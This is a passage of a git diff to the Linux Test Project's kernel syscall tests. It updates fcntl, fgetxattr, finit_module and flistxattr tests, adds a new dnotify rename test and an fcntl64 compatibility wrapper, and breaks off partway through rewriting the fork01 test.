a/testcases/kernel/syscalls/fcntl/fcntl15.c b/testcases/kernel/syscalls/fcntl/fcntl15.c index 82dee4b2..8c17144f 100755 --- a/testcases/kernel/syscalls/fcntl/fcntl15.c +++ b/testcases/kernel/syscalls/fcntl/fcntl15.c @@ -124,7 +124,7 @@ static void do_test(int file_flag, int file_mode, int dup_flag) static int run_test(int file_flag, int file_mode, int dup_flag) { fd[0] = SAFE_OPEN(tmpname, file_flag, file_mode); - SAFE_WRITE(1, fd[0], DATA, 10); + SAFE_WRITE(SAFE_WRITE_ALL, fd[0], DATA, 10); switch (dup_flag) { case FORK_: diff --git a/testcases/kernel/syscalls/fcntl/fcntl18.c b/testcases/kernel/syscalls/fcntl/fcntl18.c index 5eefbd12..1105dd39 100755 --- a/testcases/kernel/syscalls/fcntl/fcntl18.c +++ b/testcases/kernel/syscalls/fcntl/fcntl18.c @@ -103,11 +103,11 @@ int main(int ac, char **av) tst_resm(TINFO, "Enter block 2"); fail = 0; /* Error condition if address is bad */ - retval = fcntl(fd, F_GETLK64, (struct flock *)INVAL_FLAG); + retval = fcntl(fd, F_GETLK, (struct flock *)INVAL_FLAG); if (errno == EFAULT) { - tst_resm(TPASS, "Test F_GETLK64: for errno EFAULT PASSED"); + tst_resm(TPASS, "Test F_GETLK: for errno EFAULT PASSED"); } else { - tst_resm(TFAIL, "Test F_GETLK64: for errno EFAULT FAILED"); + tst_resm(TFAIL, "Test F_GETLK: for errno EFAULT FAILED"); fail = 1; } if (fail) { diff --git a/testcases/kernel/syscalls/fcntl/fcntl19.c b/testcases/kernel/syscalls/fcntl/fcntl19.c index 88c91d6e..f929aff9 100755 --- a/testcases/kernel/syscalls/fcntl/fcntl19.c +++ b/testcases/kernel/syscalls/fcntl/fcntl19.c @@ -215,11 +215,11 @@ char *str_type(int type) static char buf[20]; switch (type) { - case 1: + case F_RDLCK: return ("F_RDLCK"); - case 2: + case F_WRLCK: return ("F_WRLCK"); - case 3: + case F_UNLCK: return ("F_UNLCK"); default: sprintf(buf, "BAD VALUE: %d", type); diff --git a/testcases/kernel/syscalls/fcntl/fcntl20.c b/testcases/kernel/syscalls/fcntl/fcntl20.c index 99fd7831..4aa77345 100755 --- a/testcases/kernel/syscalls/fcntl/fcntl20.c +++ b/testcases/kernel/syscalls/fcntl/fcntl20.c @@ -104,7 +104,7 @@ void setup(void) if ((fd = mkstemp(template)) == -1) tst_resm(TFAIL | TERRNO, "mkstemp failed"); - SAFE_WRITE(cleanup, 0, fd, buf, STRINGSIZE); + SAFE_WRITE(cleanup, SAFE_WRITE_ANY, fd, buf, STRINGSIZE); memset(&act, 0, sizeof(act)); act.sa_handler = catch_child; @@ -214,11 +214,11 @@ char *str_type(int type) static char buf[20]; switch (type) { - case 1: + case F_RDLCK: return ("F_RDLCK"); - case 2: + case F_WRLCK: return ("F_WRLCK"); - case 3: + case F_UNLCK: return ("F_UNLCK"); default: sprintf(buf, "BAD VALUE: %d", type); diff --git a/testcases/kernel/syscalls/fcntl/fcntl21.c b/testcases/kernel/syscalls/fcntl/fcntl21.c index 8f1a67cf..824b8c05 100755 --- a/testcases/kernel/syscalls/fcntl/fcntl21.c +++ b/testcases/kernel/syscalls/fcntl/fcntl21.c @@ -222,11 +222,11 @@ char *str_type(int type) static char buf[20]; switch (type) { - case 1: + case F_RDLCK: return ("F_RDLCK"); - case 2: + case F_WRLCK: return ("F_WRLCK"); - case 3: + case F_UNLCK: return ("F_UNLCK"); default: sprintf(buf, "BAD VALUE: %d", type); diff --git a/testcases/kernel/syscalls/fcntl/fcntl29.c b/testcases/kernel/syscalls/fcntl/fcntl29.c index 58747645..c94c9e74 100755 --- a/testcases/kernel/syscalls/fcntl/fcntl29.c +++ b/testcases/kernel/syscalls/fcntl/fcntl29.c @@ -84,10 +84,6 @@ int main(int ac, char **av) static void setup(void) { - if ((tst_kvercmp(2, 6, 24)) < 0) { - tst_brkm(TCONF, NULL, "Kernels >= 2.6.24 required"); - } - tst_sig(NOFORK, DEF_HANDLER, cleanup); tst_tmpdir(); diff --git a/testcases/kernel/syscalls/fcntl/fcntl30.c b/testcases/kernel/syscalls/fcntl/fcntl30.c index 27f46438..64bbb9e3 100755 --- a/testcases/kernel/syscalls/fcntl/fcntl30.c +++ b/testcases/kernel/syscalls/fcntl/fcntl30.c @@ -1,107 +1,54 @@ +// SPDX-License-Identifier: GPL-2.0 /* * Copyright (c) 2014 Fujitsu Ltd. * Author: Xiaoguang Wang - * - * This program is free software; you can redistribute it and/or modify it - * under the terms of version 2 of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - * - * You should have received a copy of the GNU General Public License along - * with this program; if not, write the Free Software Foundation, Inc., - * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + * Copyright (c) 2023 SUSE LLC Avinesh Kumar */ -/* - * Description: - * Verify that, - * Basic test for fcntl(2) using F_SETPIPE_SZ, F_GETPIPE_SZ argument. +/*\ + * [Description] + * + * Verify that, fetching and changing the capacity of a pipe works as + * expected with fcntl(2) syscall using F_GETPIPE_SZ, F_SETPIPE_SZ arguments. */ - -#include -#include -#include -#include -#include -#include -#include - -#include "test.h" -#include "safe_macros.h" +#include "tst_test.h" #include "lapi/fcntl.h" -char *TCID = "fcntl30"; -int TST_TOTAL = 1; +static int fds[2]; +static int max_size_unpriv; -static void setup(void); -static void cleanup(void); - -int main(int ac, char **av) +static void run(void) { - int lc; - int pipe_fds[2], test_fd; - int orig_pipe_size, new_pipe_size; - + SAFE_PIPE(fds); - tst_parse_opts(ac, av, NULL, NULL); + TST_EXP_POSITIVE(fcntl(fds[1], F_GETPIPE_SZ)); - setup(); + TST_EXP_POSITIVE(fcntl(fds[1], F_SETPIPE_SZ, max_size_unpriv)); + TST_EXP_POSITIVE(fcntl(fds[1], F_GETPIPE_SZ)); + TST_EXP_EXPR(TST_RET >= max_size_unpriv, + "new pipe size (%ld) >= requested size (%d)", + TST_RET, max_size_unpriv); - for (lc = 0; TEST_LOOPING(lc); lc++) { - tst_count = 0; - - SAFE_PIPE(cleanup, pipe_fds); - test_fd = pipe_fds[1]; - - TEST(fcntl(test_fd, F_GETPIPE_SZ)); - if (TEST_RETURN < 0) { - tst_brkm(TFAIL | TTERRNO, cleanup, - "fcntl get pipe size failed"); - } - - orig_pipe_size = TEST_RETURN; - new_pipe_size = orig_pipe_size * 2; - TEST(fcntl(test_fd, F_SETPIPE_SZ, new_pipe_size)); - if (TEST_RETURN < 0) { - tst_brkm(TFAIL | TTERRNO, cleanup, - "fcntl test F_SETPIPE_SZ failed"); - } - - TEST(fcntl(test_fd, F_GETPIPE_SZ)); - if (TEST_RETURN < 0) { - tst_brkm(TFAIL | TTERRNO, cleanup, - "fcntl test F_GETPIPE_SZ failed"); - } - tst_resm(TINFO, "orig_pipe_size: %d new_pipe_size: %d", - orig_pipe_size, new_pipe_size); - if (TEST_RETURN >= new_pipe_size) { - tst_resm(TPASS, "fcntl test F_GETPIPE_SZ and F_SETPIPE_SZ passed"); - } else { - tst_resm(TFAIL, "fcntl test F_GETPIPE_SZ and F_SETPIPE_SZ failed"); - } - SAFE_CLOSE(cleanup, pipe_fds[0]); - SAFE_CLOSE(cleanup, pipe_fds[1]); - } - - cleanup(); - tst_exit(); + SAFE_CLOSE(fds[0]); + SAFE_CLOSE(fds[1]); } static void setup(void) { - if ((tst_kvercmp(2, 6, 35)) < 0) { - tst_brkm(TCONF, NULL, "kernel >= 2.6.35 required"); - } - - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; + SAFE_FILE_SCANF("/proc/sys/fs/pipe-max-size", "%d", &max_size_unpriv); } static void cleanup(void) { + if (fds[0] > 0) + SAFE_CLOSE(fds[0]); + if (fds[1] > 0) + SAFE_CLOSE(fds[1]); } + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .cleanup = cleanup +}; diff --git a/testcases/kernel/syscalls/fcntl/fcntl31.c b/testcases/kernel/syscalls/fcntl/fcntl31.c index 90030898..f6f625e8 100755 --- a/testcases/kernel/syscalls/fcntl/fcntl31.c +++ b/testcases/kernel/syscalls/fcntl/fcntl31.c @@ -45,9 +45,6 @@ static void setown_pid_test(void); static void setown_pgrp_test(void); #if defined(HAVE_STRUCT_F_OWNER_EX) -static int ownex_enabled; -static char *ownex_tconf_msg = "F_GETOWN_EX and F_SETOWN_EX only run on " - "kernels that are 2.6.32 and higher"; static void setownex_tid_test(void); static void setownex_pid_test(void); static void setownex_pgrp_test(void); @@ -126,15 +123,11 @@ static void setup(void) tst_brkm(TBROK | TERRNO, cleanup, "getpgid() failed"); #if defined(HAVE_STRUCT_F_OWNER_EX) - if ((tst_kvercmp(2, 6, 32)) >= 0) { - ownex_enabled = 1; - - /* get original f_owner_ex info */ - TEST(fcntl(test_fd, F_GETOWN_EX, &orig_own_ex)); - if (TEST_RETURN < 0) { - tst_brkm(TFAIL | TTERRNO, cleanup, - "fcntl get original f_owner_ex info failed"); - } + /* get original f_owner_ex info */ + TEST(fcntl(test_fd, F_GETOWN_EX, &orig_own_ex)); + if (TEST_RETURN < 0) { + tst_brkm(TFAIL | TTERRNO, cleanup, + "fcntl get original f_owner_ex info failed"); } #endif @@ -204,13 +197,8 @@ static void setownex_tid_test(void) { static struct f_owner_ex tst_own_ex; - if (ownex_enabled == 0) { - tst_resm(TCONF, "%s", ownex_tconf_msg); - return; - } - tst_own_ex.type = F_OWNER_TID; - tst_own_ex.pid = ltp_syscall(__NR_gettid); + tst_own_ex.pid = tst_syscall(__NR_gettid); TEST(fcntl(test_fd, F_SETOWN_EX, &tst_own_ex)); if (TEST_RETURN < 0) { @@ -226,11 +214,6 @@ static void setownex_pid_test(void) { static struct f_owner_ex tst_own_ex; - if (ownex_enabled == 0) { - tst_resm(TCONF, "%s", ownex_tconf_msg); - return; - } - tst_own_ex.type = F_OWNER_PID; tst_own_ex.pid = pid; @@ -249,11 +232,6 @@ static void setownex_pgrp_test(void) { static struct f_owner_ex tst_own_ex; - if (ownex_enabled == 0) { - tst_resm(TCONF, "%s", ownex_tconf_msg); - return; - } - tst_own_ex.type = F_OWNER_PGRP; tst_own_ex.pid = pgrp_pid; diff --git a/testcases/kernel/syscalls/fcntl/fcntl33.c b/testcases/kernel/syscalls/fcntl/fcntl33.c index 8d0d1a5a..3c6a38b8 100755 --- a/testcases/kernel/syscalls/fcntl/fcntl33.c +++ b/testcases/kernel/syscalls/fcntl/fcntl33.c @@ -209,7 +209,7 @@ static void cleanup(void) SAFE_CLOSE(fd); /* Restore the lease-break-time. */ - FILE_PRINTF(PATH_LS_BRK_T, "%d", ls_brk_t); + SAFE_FILE_PRINTF(PATH_LS_BRK_T, "%d", ls_brk_t); } static struct tst_test test = { diff --git a/testcases/kernel/syscalls/fcntl/fcntl34.c b/testcases/kernel/syscalls/fcntl/fcntl34.c index 3442114f..45e693fe 100755 --- a/testcases/kernel/syscalls/fcntl/fcntl34.c +++ b/testcases/kernel/syscalls/fcntl/fcntl34.c @@ -10,10 +10,8 @@ #include #include -#include "lapi/fcntl.h" -#include "tst_safe_pthread.h" -#include "tst_test.h" #include "fcntl_common.h" +#include "tst_safe_pthread.h" static int thread_cnt; static const int max_thread_cnt = 32; @@ -54,7 +52,7 @@ void *thread_fn_01(void *arg) memset(buf, (intptr_t)arg, write_size); - struct flock64 lck = { + struct flock lck = { .l_whence = SEEK_SET, .l_start = 0, .l_len = 1, @@ -62,13 +60,13 @@ void *thread_fn_01(void *arg) for (i = 0; i < writes_num; ++i) { lck.l_type = F_WRLCK; - my_fcntl(fd, F_OFD_SETLKW, &lck); + FCNTL_COMPAT(fd, F_OFD_SETLKW, &lck); SAFE_LSEEK(fd, 0, SEEK_END); - SAFE_WRITE(1, fd, buf, write_size); + SAFE_WRITE(SAFE_WRITE_ALL, fd, buf, write_size); lck.l_type = F_UNLCK; - my_fcntl(fd, F_OFD_SETLKW, &lck); + FCNTL_COMPAT(fd, F_OFD_SETLKW, &lck); sched_yield(); } diff --git a/testcases/kernel/syscalls/fcntl/fcntl35.c b/testcases/kernel/syscalls/fcntl/fcntl35.c index 8eb71486..2d730377 100755 --- a/testcases/kernel/syscalls/fcntl/fcntl35.c +++ b/testcases/kernel/syscalls/fcntl/fcntl35.c @@ -113,7 +113,6 @@ static void do_test(unsigned int n) } static struct tst_test test = { - .min_kver = "2.6.35", .needs_root = 1, .forks_child = 1, .tcnt = ARRAY_SIZE(tcases), diff --git a/testcases/kernel/syscalls/fcntl/fcntl36.c b/testcases/kernel/syscalls/fcntl/fcntl36.c index d6b07fc4..e84b7ed0 100755 --- a/testcases/kernel/syscalls/fcntl/fcntl36.c +++ b/testcases/kernel/syscalls/fcntl/fcntl36.c @@ -72,7 +72,7 @@ static void *fn_ofd_w(void *arg) int fd = SAFE_OPEN(fname, O_RDWR); long wt = pa->cnt; - struct flock64 lck = { + struct flock lck = { .l_whence = SEEK_SET, .l_start = pa->offset, .l_len = pa->length, @@ -84,13 +84,13 @@ static void *fn_ofd_w(void *arg) memset(buf, wt, pa->length); lck.l_type = F_WRLCK; - my_fcntl(fd, F_OFD_SETLKW, &lck); + FCNTL_COMPAT(fd, F_OFD_SETLKW, &lck); SAFE_LSEEK(fd, pa->offset, SEEK_SET); - SAFE_WRITE(1, fd, buf, pa->length); + SAFE_WRITE(SAFE_WRITE_ALL, fd, buf, pa->length); lck.l_type = F_UNLCK; - my_fcntl(fd, F_OFD_SETLKW, &lck); + FCNTL_COMPAT(fd, F_OFD_SETLKW, &lck); wt++; if (wt >= 255) @@ -126,7 +126,7 @@ static void *fn_posix_w(void *arg) SAFE_FCNTL(fd, F_SETLKW, &lck); SAFE_LSEEK(fd, pa->offset, SEEK_SET); - SAFE_WRITE(1, fd, buf, pa->length); + SAFE_WRITE(SAFE_WRITE_ALL, fd, buf, pa->length); lck.l_type = F_UNLCK; SAFE_FCNTL(fd, F_SETLKW, &lck); @@ -151,7 +151,7 @@ static void *fn_ofd_r(void *arg) int i; int fd = SAFE_OPEN(fname, O_RDWR); - struct flock64 lck = { + struct flock lck = { .l_whence = SEEK_SET, .l_start = pa->offset, .l_len = pa->length, @@ -163,7 +163,7 @@ static void *fn_ofd_r(void *arg) memset(buf, 0, pa->length); lck.l_type = F_RDLCK; - my_fcntl(fd, F_OFD_SETLKW, &lck); + FCNTL_COMPAT(fd, F_OFD_SETLKW, &lck); /* rlock acquired */ SAFE_LSEEK(fd, pa->offset, SEEK_SET); @@ -194,7 +194,7 @@ static void *fn_ofd_r(void *arg) } lck.l_type = F_UNLCK; - my_fcntl(fd, F_OFD_SETLK, &lck); + FCNTL_COMPAT(fd, F_OFD_SETLK, &lck); sched_yield(); } diff --git a/testcases/kernel/syscalls/fcntl/fcntl37.c b/testcases/kernel/syscalls/fcntl/fcntl37.c index a624554c..36f46295 100755 --- a/testcases/kernel/syscalls/fcntl/fcntl37.c +++ b/testcases/kernel/syscalls/fcntl/fcntl37.c @@ -67,7 +67,7 @@ static void setup(void) wrbuf = SAFE_MALLOC(orig_value); memset(wrbuf, 'x', orig_value); - SAFE_WRITE(1, fds[1], wrbuf, orig_value); + SAFE_WRITE(SAFE_WRITE_ALL, fds[1], wrbuf, orig_value); free(wrbuf); SAFE_FILE_SCANF("/proc/sys/fs/pipe-max-size", "%d", &sys_value); diff --git a/testcases/kernel/syscalls/fcntl/fcntl39.c b/testcases/kernel/syscalls/fcntl/fcntl39.c new file mode 100644 index 00000000..973b6a65 --- /dev/null +++ b/testcases/kernel/syscalls/fcntl/fcntl39.c @@ -0,0 +1,132 @@ +// SPDX-License-Identifier: GPL-2.0 +/* + * Copyright (c) 2021 CTERA Networks. All Rights Reserved. + * + * Started by Amir Goldstein + */ + +/*\ + * [Description] + * + * Check that dnotify DN_RENAME event is reported only on rename inside same parent. + */ + +#include +#include +#include +#include +#include "tst_test.h" +#include "lapi/fcntl.h" + +#define TEST_DIR "test_dir" +#define TEST_DIR2 "test_dir2" +#define TEST_FILE "test_file" + +#define TEST_SIG (SIGRTMIN+1) + +static int parent_fd, subdir_fd; +static int got_parent_event, got_subdir_event; + +static void dnotify_handler(int sig, siginfo_t *si, void *data LTP_ATTRIBUTE_UNUSED) +{ + if (si->si_fd == parent_fd) + got_parent_event = 1; + else if (si->si_fd == subdir_fd) + got_subdir_event = 1; + else + tst_brk(TBROK, "Got unexpected signal %d with si_fd %d", sig, si->si_fd); +} + +static void setup_dnotify(int fd) +{ + struct sigaction act; + + act.sa_sigaction = dnotify_handler; + sigemptyset(&act.sa_mask); + act.sa_flags = SA_SIGINFO; + sigaction(TEST_SIG, &act, NULL); + + TEST(fcntl(fd, F_SETSIG, TEST_SIG)); + if (TST_RET != 0) { + tst_brk(TBROK, "F_SETSIG failed errno = %d : %s", + TST_ERR, strerror(TST_ERR)); + } + + TEST(fcntl(fd, F_NOTIFY, DN_RENAME|DN_MULTISHOT)); + if (TST_RET != 0) { + tst_brk(TBROK, "F_NOTIFY failed errno = %d : %s", + TST_ERR, strerror(TST_ERR)); + } +} + +static void verify_dnotify(void) +{ + parent_fd = SAFE_OPEN(".", O_RDONLY); + subdir_fd = SAFE_OPEN(TEST_DIR, O_RDONLY); + + /* Watch renames inside ".", but not in and out of "." */ + setup_dnotify(parent_fd); + + /* Also watch for renames inside subdir, but not in and out of subdir */ + setup_dnotify(subdir_fd); + + /* Rename file from "." to subdir should not generate DN_RENAME on either */ + tst_res(TINFO, "Testing no DN_RENAME on rename from parent to subdir"); + SAFE_RENAME(TEST_FILE, TEST_DIR "/" TEST_FILE); + + if (got_parent_event) + tst_res(TFAIL, "Got unexpected event on parent"); + else + tst_res(TPASS, "No event on parent as expected"); + + if (got_subdir_event) + tst_res(TFAIL, "Got unexpected event on subdir"); + else + tst_res(TPASS, "No event on subdir as expected"); + + /* Rename subdir itself should generate DN_RENAME on ".", but not on itself */ + tst_res(TINFO, "Testing DN_RENAME on rename of subdir itself"); + SAFE_RENAME(TEST_DIR, TEST_DIR2); + + if (got_parent_event) + tst_res(TPASS, "Got event on parent as expected"); + else + tst_res(TFAIL, "Missing event on parent"); + + if (got_subdir_event) + tst_res(TFAIL, "Got unexpected event on subdir"); + else + tst_res(TPASS, "No event on subdir as expected"); + + SAFE_CLOSE(parent_fd); + SAFE_CLOSE(subdir_fd); + + /* Cleanup before rerun */ + SAFE_RENAME(TEST_DIR2 "/" TEST_FILE, TEST_FILE); + SAFE_RENAME(TEST_DIR2, TEST_DIR); + got_parent_event = 0; + got_subdir_event = 0; +} + +static void setup(void) +{ + SAFE_MKDIR(TEST_DIR, 00700); + SAFE_TOUCH(TEST_FILE, 0666, NULL); +} + +static void cleanup(void) +{ + if (parent_fd > 0) + SAFE_CLOSE(parent_fd); + + if (subdir_fd > 0) + SAFE_CLOSE(subdir_fd); +} + +static struct tst_test test = { + .needs_tmpdir = 1, + .setup = setup, + .cleanup = cleanup, + .test_all = verify_dnotify, + .needs_kconfigs = (const char *[]) { "CONFIG_DNOTIFY=y", NULL }, +}; diff --git a/testcases/kernel/syscalls/fcntl/fcntl_common.h b/testcases/kernel/syscalls/fcntl/fcntl_common.h index abb82c96..86f2726a 100755 --- a/testcases/kernel/syscalls/fcntl/fcntl_common.h +++ b/testcases/kernel/syscalls/fcntl/fcntl_common.h @@ -1,38 +1,75 @@ #ifndef FCNTL_COMMON_H__ #define FCNTL_COMMON_H__ +#include + +#include "tst_test.h" +#include "tst_kernel.h" + #include "lapi/syscalls.h" #include "lapi/abisize.h" +#include "lapi/fcntl.h" + +#if defined(TST_ABI64) +#define FCNTL_COMPAT(fd, cmd, flock) \ + SAFE_FCNTL(fd, cmd, flock) + +#else +struct my_flock64 { + short l_type; + short l_whence; + off64_t l_start; + off64_t l_len; + pid_t l_pid; +#if defined(__sparc__) + short padding; +#endif +}; /* - * glibc commit: - * 06ab719d30b0 ("Fix Linux fcntl OFD locks for non-LFS architectures (BZ#20251)") - * changed behavior of arg parameter for OFD commands. It is no - * longer passing arg directly to syscall, but expects it to be - * 'struct flock'. + * F_OFD_* commands always require flock64 struct. Older GLibc (pre 2.29) would + * pass the flock sturct directly to the kernel even if it had 32-bit + * offsets. * - * On 64-bit or _FILE_OFFSET_BITS == 64 we can use fcntl() and - * struct flock64 with any glibc version. struct flock and flock64 - * should be identical. + * If we are on 32-bit abi we need to use the fcntl64 compat syscall. * - * On 32-bit, older glibc would pass arg directly, recent one treats - * it as 'struct flock' and converts it to 'struct flock64'. - * So, to support both version, on 32-bit we use fcntl64 syscall - * directly with struct flock64. + * See: + * glibc: 06ab719d30 Fix Linux fcntl OFD locks for non-LFS architectures (BZ#20251) + * kernel: fs/fcntl.c */ -#if defined(TST_ABI64) || _FILE_OFFSET_BITS == 64 -static int my_fcntl(int fd, int cmd, void *lck) +static inline int fcntl_compat(const char *file, const int line, const char *cmd_name, + int fd, int cmd, struct flock *lck) { - return SAFE_FCNTL(fd, cmd, lck); -} -#else -static int my_fcntl(int fd, int cmd, void *lck) -{ - int ret = tst_syscall(__NR_fcntl64, fd, cmd, lck); - if (ret == -1) - tst_brk(TBROK|TERRNO, "fcntl64"); + struct my_flock64 l64 = { + .l_type = lck->l_type, + .l_whence = lck->l_whence, + .l_start = lck->l_start, + .l_len = lck->l_len, + .l_pid = lck->l_pid, + }; + + const int ret = tst_syscall(__NR_fcntl64, fd, cmd, &l64); + + lck->l_type = l64.l_type; + lck->l_whence = l64.l_whence; + lck->l_start = l64.l_start; + lck->l_len = l64.l_len; + lck->l_pid = l64.l_pid; + + if (ret != -1) + return ret; + + tst_brk_(file, line, TBROK | TERRNO, + "fcntl64(%d, %s, { %d, %d, %"PRId64", %"PRId64", %d })", + fd, + cmd_name, + l64.l_type, l64.l_whence, l64.l_start, l64.l_len, l64.l_pid); + return ret; } + +#define FCNTL_COMPAT(fd, cmd, flock) \ + fcntl_compat(__FILE__, __LINE__, #cmd, fd, cmd, flock) #endif #endif /* FCNTL_COMMON_H__ */ diff --git a/testcases/kernel/syscalls/fgetxattr/fgetxattr01.c b/testcases/kernel/syscalls/fgetxattr/fgetxattr01.c index 35c46a1c..52e6e44a 100755 --- a/testcases/kernel/syscalls/fgetxattr/fgetxattr01.c +++ b/testcases/kernel/syscalls/fgetxattr/fgetxattr01.c @@ -111,7 +111,7 @@ static void setup(void) size_t i = 0; SAFE_TOUCH(FNAME, 0644, NULL); - fd = SAFE_OPEN(FNAME, O_RDONLY, NULL); + fd = SAFE_OPEN(FNAME, O_RDONLY); for (i = 0; i < ARRAY_SIZE(tc); i++) { tc[i].value = SAFE_MALLOC(tc[i].size); diff --git a/testcases/kernel/syscalls/fgetxattr/fgetxattr02.c b/testcases/kernel/syscalls/fgetxattr/fgetxattr02.c index 82fb676b..1a9a39c9 100755 --- a/testcases/kernel/syscalls/fgetxattr/fgetxattr02.c +++ b/testcases/kernel/syscalls/fgetxattr/fgetxattr02.c @@ -188,14 +188,6 @@ static void verify_fgetxattr(unsigned int i) fname); } - /* - * Before kernel 3.0.0, fgetxattr(2) will set errno with 'EPERM' - * when the file is not a regular file and directory, refer to - * commitid 55b23bd - */ - if (tc[i].exp_err == ENODATA && tst_kvercmp(3, 0, 0) < 0) - tc[i].exp_err = EPERM; - if (tc[i].exp_err == TST_ERR) { tst_res(TPASS | TTERRNO, "fgetxattr(2) on %s passed", fname); @@ -244,7 +236,7 @@ static void setup(void) SAFE_BIND(tc[i].fd, (const struct sockaddr *) &sun, sizeof(struct sockaddr_un)); } else { - tc[i].fd = SAFE_OPEN(tc[i].fname, tc[i].fflags, NULL); + tc[i].fd = SAFE_OPEN(tc[i].fname, tc[i].fflags); } if (tc[i].exp_ret >= 0) { diff --git a/testcases/kernel/syscalls/fgetxattr/fgetxattr03.c b/testcases/kernel/syscalls/fgetxattr/fgetxattr03.c index d293ffca..0581b967 100755 --- a/testcases/kernel/syscalls/fgetxattr/fgetxattr03.c +++ b/testcases/kernel/syscalls/fgetxattr/fgetxattr03.c @@ -48,7 +48,7 @@ static void verify_fgetxattr(void) static void setup(void) { SAFE_TOUCH(FILENAME, 0644, NULL); - fd = SAFE_OPEN(FILENAME, O_RDONLY, NULL); + fd = SAFE_OPEN(FILENAME, O_RDONLY); SAFE_FSETXATTR(fd, XATTR_TEST_KEY, XATTR_TEST_VALUE, XATTR_TEST_VALUE_SIZE, XATTR_CREATE); diff --git a/testcases/kernel/syscalls/finit_module/finit_module01.c b/testcases/kernel/syscalls/finit_module/finit_module01.c index 21c35f10..1929c30f 100755 --- a/testcases/kernel/syscalls/finit_module/finit_module01.c +++ b/testcases/kernel/syscalls/finit_module/finit_module01.c @@ -25,8 +25,6 @@ static char *mod_path; static void setup(void) { - finit_module_supported_by_kernel(); - tst_module_exists(MODULE_NAME, &mod_path); fd = SAFE_OPEN(mod_path, O_RDONLY|O_CLOEXEC); @@ -51,6 +49,7 @@ static struct tst_test test = { .setup = setup, .cleanup = cleanup, .needs_root = 1, - /* lockdown requires signed modules */ + /* lockdown and SecureBoot requires signed modules */ .skip_in_lockdown = 1, + .skip_in_secureboot = 1, }; diff --git a/testcases/kernel/syscalls/finit_module/finit_module02.c b/testcases/kernel/syscalls/finit_module/finit_module02.c index b3437b5d..223d9b38 100755 --- a/testcases/kernel/syscalls/finit_module/finit_module02.c +++ b/testcases/kernel/syscalls/finit_module/finit_module02.c @@ -25,7 +25,7 @@ static char *mod_path; static int fd, fd_zero, fd_invalid = -1, fd_dir; -static int kernel_lockdown; +static int kernel_lockdown, secure_boot; static struct tst_cap cap_req = TST_CAP(TST_CAP_REQ, CAP_SYS_MODULE); static struct tst_cap cap_drop = TST_CAP(TST_CAP_DROP, CAP_SYS_MODULE); @@ -81,11 +81,11 @@ static void setup(void) { unsigned long int i; - finit_module_supported_by_kernel(); - tst_module_exists(MODULE_NAME, &mod_path); - kernel_lockdown = tst_lockdown_enabled(); + kernel_lockdown = tst_lockdown_enabled() > 0; + secure_boot = tst_secureboot_enabled() > 0; + SAFE_MKDIR(TEST_DIR, 0700); fd_dir = SAFE_OPEN(TEST_DIR, O_DIRECTORY); @@ -104,8 +104,8 @@ static void run(unsigned int n) { struct tcase *tc = &tcases[n]; - if (tc->skip_in_lockdown && kernel_lockdown) { - tst_res(TCONF, "Kernel is locked down, skipping %s", tc->name); + if (tc->skip_in_lockdown && (kernel_lockdown || secure_boot)) { + tst_res(TCONF, "Cannot load unsigned modules, skipping %s", tc->name); return; } diff --git a/testcases/kernel/syscalls/flistxattr/flistxattr01.c b/testcases/kernel/syscalls/flistxattr/flistxattr01.c index 98a6fa25..68c3948b 100755 --- a/testcases/kernel/syscalls/flistxattr/flistxattr01.c +++ b/testcases/kernel/syscalls/flistxattr/flistxattr01.c @@ -47,7 +47,7 @@ static int has_attribute(const char *list, int llen, const char *attr) static void verify_flistxattr(void) { - char buf[64]; + char buf[128]; TEST(flistxattr(fd, buf, sizeof(buf))); if (TST_RET == -1) { diff --git a/testcases/kernel/syscalls/fork/.gitignore b/testcases/kernel/syscalls/fork/.gitignore index 8a08c586..b817e9c0 100755 --- a/testcases/kernel/syscalls/fork/.gitignore +++ b/testcases/kernel/syscalls/fork/.gitignore @@ -1,5 +1,4 @@ /fork01 -/fork02 /fork03 /fork04 /fork05 diff --git a/testcases/kernel/syscalls/fork/fork01.c b/testcases/kernel/syscalls/fork/fork01.c index 00d7c45c..31ec5d4c 100755 --- a/testcases/kernel/syscalls/fork/fork01.c +++ b/testcases/kernel/syscalls/fork/fork01.c @@ -1,234 +1,77 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2000 Silicon Graphics, Inc. All Rights Reserved. + * Author: Kathy Olmsted + * Co-Pilot: Steve Shaw + */ + +/*\ + *[Description] * - * This program is free software; you can redistribute it and/or modify it - * under the terms of version 2 of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - * - * Further, this software is distributed without any warranty that it is - * free of the rightful claim of any third person regarding infringement - * or the like. Any license provided herein, whether implied or - * otherwise, applies only to this software file. Patent licenses, if - * any, provided herein do not apply to combinations of this program with - * other software, or any other product whatsoever. - * - * You should have received a copy of the GNU General Public License along - * with this program; if not, write the Free Software Foundation, Inc., - * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. - * - * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy, - * Mountain View, CA 94043, or: - * - * http://www.sgi.com - * - * For further information regarding this notice, see: - * - * http://oss.sgi.com/projects/GenInfo/NoticeExplan/ - * - * - * OS Test - Silicon Graphics, Inc. - * TEST IDENTIFIER : fork01 - * EXECUTED BY : anyone - * TEST TITLE : Basic test for fork(2) - * PARENT DOCUMENT : frktds02 - * TEST CASE TOTAL : 2 - * WALL CLOCK TIME : 1 - * CPU TYPES : ALL - * AUTHOR : Kathy Olmsted - * CO-PILOT : Steve Shaw - * DATE STARTED : 06/17/92 - * INITIAL RELEASE : UNICOS 7.0 - * TEST CASES - * 1.) fork returns without error - * 2.) fork returns the pid of the child - * INPUT SPECIFICATIONS - * The standard options for system call tests are accepted. - * (See the parse_opts(3) man page). - * OUTPUT SPECIFICATIONS - * DURATION - * Terminates - with frequency and infinite modes. - * SIGNALS - * Uses SIGUSR1 to pause before test if option set. - * (See the parse_opts(3) man page). - * RESOURCES - * None - * ENVIRONMENTAL NEEDS - * No run-time environmental needs. - * SPECIAL PROCEDURAL REQUIREMENTS - * None - * INTERCASE DEPENDENCIES - * None - * DETAILED DESCRIPTION - * Setup: - * 